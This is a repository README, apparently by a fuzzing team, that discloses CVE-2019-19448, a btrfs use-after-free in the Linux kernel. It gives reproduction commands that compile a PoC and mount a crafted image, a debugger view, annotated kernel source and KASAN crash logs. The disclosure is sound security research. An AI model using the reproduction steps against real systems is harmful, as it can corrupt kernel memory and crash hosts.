Skip to content
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE/CVE-2019-19448/
CVE/CVE-2019-19448/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

CVE-2019-19448

Target

Linux kernel btrfs FileSystem

Linux Version Availablity
5.0.21 True
5.3.11 True

Bug Type

Use After Free

Abstract

syncfs syscall after some operation with crafted image can cause use-after-free vulnerability in try_merge_free_space

Reproduce

gcc -o poc poc_2019_19448.c
mkdir mnt
mount poc_2019_19448.img ./mnt
cp poc ./mnt/
cd mnt
./poc

Details

Debug View

─────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000000001  →  0x0000000000000001
$rbx   : 0xffff88806cf59138  →  0x0000000000000000  →  0x0000000000000000
$rcx   : 0xffff888067a6aa80  →  0xffff88806cf59138  →  0x0000000000000000 →  0x0000000000000000
$rdx   : 0x00000000000a17c8  →  0x00000000000a17c8
$rsp   : 0xffff8880649bfa60  →  0x0000000000001001  →  0x0000000000001001
$rbp   : 0xffff88806a2491a0  →  0xffff88806a2491a0  →  [loop detected]
$rsi   : 0xffff88806a6388c0  →  0x0000607f92802900  →  0x0000607f92802900
$rdi   : 0xffff88806cf59168  →  0x0000000000000000  →  0x0000000000000000
$rip   : 0xffffffff81625d82  →  0x7d8349ffcbea59e8  →  0x7d8349ffcbea59e8
$r8    : 0x00000000214fbdaa  →  0x00000000214fbdaa
$r9    : 0xffffed100daa632c  →  0x0000000000000000  →  0x0000000000000000
$r10   : 0x0000000000000001  →  0x0000000000000001
$r11   : 0xffffed100daa632b  →  0x0000000000000000  →  0x0000000000000000
$r12   : 0xffff888067a7c600  →  0x0000000000000001  →  0x0000000000000001
$r13   : 0xffff88806cf59138  →  0x0000000000000000  →  0x0000000000000000
$r14   : 0xffff888067a7c608  →  0xffff88806a2490d0  →  0x0000000000000001 →  0x0000000000000001
$r15   : 0x0000000001c04000  →  0x0000000001c04000
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflowresume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────── stack ────
0xffff8880649bfa60│+0x0000: 0x0000000000001001  →  0x0000000000001001	 ← $rsp
0xffff8880649bfa68│+0x0008: 0xffff88806a2491c0  →  0x0000000000007000  →0x0000000000007000
0xffff8880649bfa70│+0x0010: 0x000000016a2491a0  →  0x000000016a2491a0
0xffff8880649bfa78│+0x0018: 0xffff88806a2491b8  →  0x0000000001c04000  →0x0000000001c04000
0xffff8880649bfa80│+0x0020: 0xffff88806cf59158  →  0x0000000000006000  →0x0000000000006000
0xffff8880649bfa88│+0x0028: 0xffffffff81625cd2  →  0x5541564118468d48  →0x5541564118468d48
0xffff8880649bfa90│+0x0030: 0xffff888067a7c600  →  0x0000000000000001  →0x0000000000000001
0xffff8880649bfa98│+0x0038: 0xffff88806a2491a0  →  0xffff88806a2491a0  →[loop detected]
───────────────────────────────────────────────────────── code:x86:64 ────
   0xffffffff81625d79 <try_merge_free_space+169> je     0xffffffff81625d92 <try_merge_free_space+194>
   0xffffffff81625d7b <try_merge_free_space+171> lea    rdi, [r13+0x30]
   0xffffffff81625d7f <try_merge_free_space+175> mov    BYTE PTR [rsp], al
 → 0xffffffff81625d82 <try_merge_free_space+178> call   0xffffffff812e47e0 <__asan_load8>
   ↳  0xffffffff812e47e0 <__asan_load8_noabort+0> movabs rax, 0xffff7fffffffffff
      0xffffffff812e47ea <__asan_load8_noabort+10> mov    rcx, QWORD PTR [rsp]
      0xffffffff812e47ee <__asan_load8_noabort+14> cmp    rdi, rax
      0xffffffff812e47f1 <__asan_load8_noabort+17> jbe    0xffffffff812e4824 <__asan_load8+68>
      0xffffffff812e47f3 <__asan_load8_noabort+19> lea    rax, [rdi+0x7]
      0xffffffff812e47f7 <__asan_load8_noabort+23> mov    rdx, rax
─────────────────────────────────────────────────────────── arguments ────
__asan_load8 (
   long unsigned int var_0 = 0xffff88806cf59168 → 0x0000000000000000 → 0x0000000000000000
)
───────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: BREAKPOINT
[#1] Id 2, Name: "", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff81625d82 → try_merge_free_space(ctl=0xffff888067a7c600, info=0xffff88806a2491a0, update_stat=<optimized out>)
[#1] 0xffffffff81629539 → __btrfs_add_free_space(fs_info=<optimized out>,ctl=0xffff888067a7c600, offset=<optimized out>, bytes=0x1000)
[#2] 0xffffffff81580277 → btrfs_add_free_space(block_group=<optimized out>, block_group=<optimized out>, size=<optimized out>, bytenr=<optimized out>)
[#3] 0xffffffff81580277 → unpin_extent_range(fs_info=0xffff8880650968a0, start=0x1c04000, end=<optimized out>, return_free_space=<optimized out>)
[#4] 0xffffffff815849ba → btrfs_finish_extent_commit(trans=0xffff88806bb3a150)
[#5] 0xffffffff815ae355 → btrfs_commit_transaction(trans=0xffff88806bb3a150)
[#6] 0xffffffff813499e2 → __sync_filesystem(wait=<optimized out>, sb=<optimized out>)
[#7] 0xffffffff813499e2 → sync_filesystem(sb=0xffff88806487f700)
[#8] 0xffffffff81349b07 → __do_sys_syncfs(fd=<optimized out>)
[#9] 0xffffffff81349b07 → __se_sys_syncfs(fd=<optimized out>)
──────────────────────────────────────────────────────────────────────────

Thread 2 hit Breakpoint 1, 0xffffffff81625d82 in try_merge_free_space (ctl=0xffff888067a7c600, info=0xffff88806a2491a0, update_stat=<optimized out>) at fs/btrfs/free-space-cache.c:2191
2191	in fs/btrfs/free-space-cache.c
gef➤  p right_info
$13 = (struct btrfs_free_space *) 0xffff88806cf59138
gef➤  p left_info
$14 = (struct btrfs_free_space *) 0xffff88806cf59138
gef➤

local variable right_info equals left_info.

Bug Causes

fs/btrfs/free-space-cache.c:2191 (link)

static bool try_merge_free_space(struct btrfs_free_space_ctl *ctl,
			  struct btrfs_free_space *info, bool update_stat)
{
	struct btrfs_free_space *left_info;
	struct btrfs_free_space *right_info;
	bool merged = false;
	u64 offset = info->offset;
	u64 bytes = info->bytes;

	/*
	 * first we want to see if there is free space adjacent to the range we
	 * are adding, if there is remove that struct and add a new one to
	 * cover the entire range
	 */
[1]	right_info = tree_search_offset(ctl, offset + bytes, 0, 0);
	if (right_info && rb_prev(&right_info->offset_index))
		left_info = rb_entry(rb_prev(&right_info->offset_index),
				     struct btrfs_free_space, offset_index);
	else
[1]		left_info = tree_search_offset(ctl, offset - 1, 0, 0);

	if (right_info && !right_info->bitmap) {
		if (update_stat)
			unlink_free_space(ctl, right_info);
		else
			__unlink_free_space(ctl, right_info);
		info->bytes += right_info->bytes;
[2]		kmem_cache_free(btrfs_free_space_cachep, right_info);
		merged = true;
	}

[3]	if (left_info && !left_info->bitmap &&
	    left_info->offset + left_info->bytes == offset) {
		if (update_stat)
			unlink_free_space(ctl, left_info);
		else
			__unlink_free_space(ctl, left_info);
		info->offset = left_info->offset;
		info->bytes += left_info->bytes;
		kmem_cache_free(btrfs_free_space_cachep, left_info);
		merged = true;
	}

	return merged;
}

in [1] tree_search_offset returns same ptr(right_info == left_info), and use left_info[3] after freeing right_info[2]

KASAN logs

[  129.924437] ==================================================================
[  129.924437] BUG: KASAN: use-after-free in try_merge_free_space+0xb7/0x2e0
[  129.924437] Read of size 8 at addr ffff88806cf59168 by task poc/220
[  129.924437]
[  129.924437] CPU: 1 PID: 220 Comm: poc Not tainted 5.3.11 #1
[  129.924437] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[  129.924437] Call Trace:
[  129.924437]  dump_stack+0x76/0xab
[  129.924437]  print_address_description+0x70/0x3a0
[  129.924437]  ? try_merge_free_space+0xb7/0x2e0
[  129.924437]  __kasan_report+0x13a/0x19b
[  129.924437]  ? try_merge_free_space+0xb7/0x2e0
[  129.924437]  ? try_merge_free_space+0xb7/0x2e0
[  129.924437]  kasan_report+0xe/0x20
[  129.924437]  try_merge_free_space+0xb7/0x2e0
[  129.924437]  ? try_merge_free_space+0x2/0x2e0
[  129.924437]  __btrfs_add_free_space+0x89/0x5f0
[  129.924437]  ? rb_erase+0x1bd/0x830
[  129.924437]  ? block_group_cache_tree_search+0x12f/0x150
[  129.924437]  unpin_extent_range+0x537/0x930
[  129.924437]  ? __set_extent_bit+0x850/0x850
[  129.924437]  ? __exclude_logged_extent+0x150/0x150
[  129.924437]  ? cache_state_if_flags.part.32+0x10/0x30
[  129.924437]  btrfs_finish_extent_commit+0x13a/0x450
[  129.924437]  ? pagecache_get_page+0x20b/0x330
[  129.924437]  ? __wait_on_bit+0x150/0x150
[  129.924437]  ? btrfs_prepare_extent_commit+0x190/0x190
[  129.924437]  ? __find_get_block+0x40d/0x450
[  129.924437]  ? write_all_supers+0x635/0x1590
[  129.924437]  btrfs_commit_transaction+0xd15/0x1100
[  129.924437]  ? btrfs_apply_pending_changes+0x80/0x80
[  129.924437]  ? btrfs_attach_transaction_barrier+0x19/0x50
[  129.924437]  sync_filesystem+0xd2/0x110
[  129.924437]  __x64_sys_syncfs+0x57/0x90
[  129.924437]  do_syscall_64+0x5e/0x190
[  129.924437]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  129.924437] RIP: 0033:0x7f6306075469
[  129.924437] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ff 49 2b 00 f7 d8 64 89 01 48
[  129.924437] RSP: 002b:00007ffd2a5aeba8 EFLAGS: 00000286 ORIG_RAX: 0000000000000132
[  129.924437] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6306075469
[  129.924437] RDX: ffffffffffffff98 RSI: 00007f6306075469 RDI: 0000000000000003
[  129.924437] RBP: 00007ffd2a5b2d40 R08: 00007ffd2a5b2e28 R09: 00007ffd2a5b2e28
[  129.924437] R10: 00007ffd2a5b2e28 R11: 0000000000000286 R12: 00005606df5a65d0
[  129.924437] R13: 00007ffd2a5b2e20 R14: 0000000000000000 R15: 0000000000000000
[  129.924437]
[  129.924437] Allocated by task 220:
[  129.924437]  save_stack+0x19/0x80
[  129.924437]  __kasan_kmalloc+0xd5/0xf0
[  129.924437]  kmem_cache_alloc+0xb3/0x1d0
[  129.924437]  __btrfs_add_free_space+0x39/0x5f0
[  129.924437]  unpin_extent_range+0x537/0x930
[  129.924437]  btrfs_finish_extent_commit+0x13a/0x450
[  129.924437]  btrfs_commit_transaction+0xd15/0x1100
[  129.924437]  sync_filesystem+0xd2/0x110
[  129.924437]  __x64_sys_syncfs+0x57/0x90
[  129.924437]  do_syscall_64+0x5e/0x190
[  129.924437]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  129.924437]
[  129.924437] Freed by task 220:
[  129.924437]  save_stack+0x19/0x80
[  129.924437]  __kasan_slab_free+0x132/0x180
[  129.924437]  kmem_cache_free+0x75/0x280
[  129.924437]  try_merge_free_space+0x276/0x2e0
[  129.924437]  __btrfs_add_free_space+0x89/0x5f0
[  129.924437]  unpin_extent_range+0x537/0x930
[  129.924437]  btrfs_finish_extent_commit+0x13a/0x450
[  129.924437]  btrfs_commit_transaction+0xd15/0x1100
[  129.924437]  sync_filesystem+0xd2/0x110
[  129.924437]  __x64_sys_syncfs+0x57/0x90
[  129.924437]  do_syscall_64+0x5e/0x190
[  129.924437]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  129.924437]
[  129.924437] The buggy address belongs to the object at ffff88806cf59138
[  129.924437]  which belongs to the cache btrfs_free_space of size 72
[  129.924437] The buggy address is located 48 bytes inside of
[  129.924437]  72-byte region [ffff88806cf59138, ffff88806cf59180)
[  129.924437] The buggy address belongs to the page:
[  129.924437] page:ffffea0001b3d640 refcount:1 mapcount:0 mapping:ffff88806a6388c0 index:0x0
[  129.924437] flags: 0x100000000000200(slab)
[  129.924437] raw: 0100000000000200 dead000000000100 dead000000000122 ffff88806a6388c0
[  129.924437] raw: 0000000000000000 0000000080270027 00000001ffffffff 0000000000000000
[  129.924437] page dumped because: kasan: bad access detected
[  129.924437]
[  129.924437] Memory state around the buggy address:
[  129.924437]  ffff88806cf59000: 00 00 00 00 00 00 00 00 00 fc fc fc fc 00 00 00
[  129.924437]  ffff88806cf59080: 00 00 00 00 00 00 fc fc fc fc 00 00 00 00 00 00
[  129.924437] >ffff88806cf59100: 00 00 00 fc fc fc fc fb fb fb fb fb fb fb fb fb
[  129.924437]                                                           ^
[  129.924437]  ffff88806cf59180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  129.924437]  ffff88806cf59200: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  129.924437] ==================================================================
[  129.924437] Disabling lock debugging due to kernel taint
[  130.400869] WARNING: CPU: 1 PID: 220 at fs/btrfs/free-space-cache.c:1480 tree_insert_offset+0x75/0xe0
[  130.400869] Modules linked in:
[  130.400869] CPU: 1 PID: 220 Comm: poc Tainted: G    B             5.3.11 #1
[  130.400869] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[  130.400869] RIP: 0010:tree_insert_offset+0x75/0xe0
[  130.400869] Code: ff 49 8b 1f 48 85 db 74 2a 48 8d 7b 18 e8 e3 ee cb ff 4c 39 63 18 76 bf 4c 8d 7b 10 eb d8 e8 d2 ee cb ff 48 83 7b 30 00 75 ee <0f> 0b b8 ef ff ff ff eb 3e 4c 89 f7 e8 3a ef cb ff 49 8d 7e 08 49
[  130.400869] RSP: 0018:ffff8880649bfa60 EFLAGS: 00000246
[  130.400869] RAX: 0000000000000000 RBX: ffff88806a249068 RCX: ffffffff8162590e
[  130.400869] RDX: dffffc0000000000 RSI: 0000000001c09000 RDI: ffff88806a249098
[  130.400869] RBP: ffff88806a2490d0 R08: 0000000000000000 R09: ffffed100c937f4e
[  130.400869] R10: 0000000000000001 R11: ffffed100c937f4e R12: 0000000001c09000
[  130.400869] R13: 0000000000000000 R14: ffff88806a249270 R15: ffff88806a2490e0
[  130.400869] FS:  00007f630654e440(0000) GS:ffff88806d500000(0000) knlGS:0000000000000000
[  130.400869] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  130.400869] CR2: 00007f07b731d010 CR3: 0000000067834000 CR4: 00000000000006e0
[  130.400869] Call Trace:
[  130.400869]  link_free_space+0x3f/0x80
[  130.400869]  __btrfs_add_free_space+0xb8/0x5f0
[  130.400869]  ? rb_erase+0x1bd/0x830
[  130.400869]  unpin_extent_range+0x537/0x930
[  130.400869]  ? __set_extent_bit+0x850/0x850
[  130.400869]  ? __exclude_logged_extent+0x150/0x150
[  130.400869]  ? cache_state_if_flags.part.32+0x10/0x30
[  130.400869]  btrfs_finish_extent_commit+0x13a/0x450
[  130.400869]  ? pagecache_get_page+0x20b/0x330
[  130.400869]  ? __wait_on_bit+0x150/0x150
[  130.400869]  ? btrfs_prepare_extent_commit+0x190/0x190
[  130.400869]  ? __find_get_block+0x40d/0x450
[  130.400869]  ? write_all_supers+0x635/0x1590
[  130.400869]  btrfs_commit_transaction+0xd15/0x1100
[  130.400869]  ? btrfs_apply_pending_changes+0x80/0x80
[  130.400869]  ? btrfs_attach_transaction_barrier+0x19/0x50
[  130.400869]  sync_filesystem+0xd2/0x110
[  130.400869]  __x64_sys_syncfs+0x57/0x90
[  130.400869]  do_syscall_64+0x5e/0x190
[  130.400869]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  130.400869] RIP: 0033:0x7f6306075469
[  130.400869] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ff 49 2b 00 f7 d8 64 89 01 48
[  130.400869] RSP: 002b:00007ffd2a5aeba8 EFLAGS: 00000286 ORIG_RAX: 0000000000000132
[  130.400869] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6306075469
[  130.400869] RDX: ffffffffffffff98 RSI: 00007f6306075469 RDI: 0000000000000003
[  130.400869] RBP: 00007ffd2a5b2d40 R08: 00007ffd2a5b2e28 R09: 00007ffd2a5b2e28
[  130.400869] R10: 00007ffd2a5b2e28 R11: 0000000000000286 R12: 00005606df5a65d0
[  130.400869] R13: 00007ffd2a5b2e20 R14: 0000000000000000 R15: 0000000000000000
[  130.400869] ---[ end trace af3d70351e521739 ]---
[  130.451152] BTRFS critical (device loop0): unable to add free space :-17
[  130.512290] BTRFS critical (device loop0): unable to add free space :-17

Conclusion

in try_merge_free_space function, local variable right_info and left_info can be same value.

it can be lead to arbitrary-address-free or double-free vulnerability by attacker.

Discoverer

Team bobfuzzer

Acknowledgments

This Project used ported version(to 5.0.21 and 5.3.14 linux kernel) of filesystem fuzzer 'JANUS' which developed by GeorgiaTech Systems Software & Security Lab(SSLab)

Thank you for the excellent fuzzer and paper below.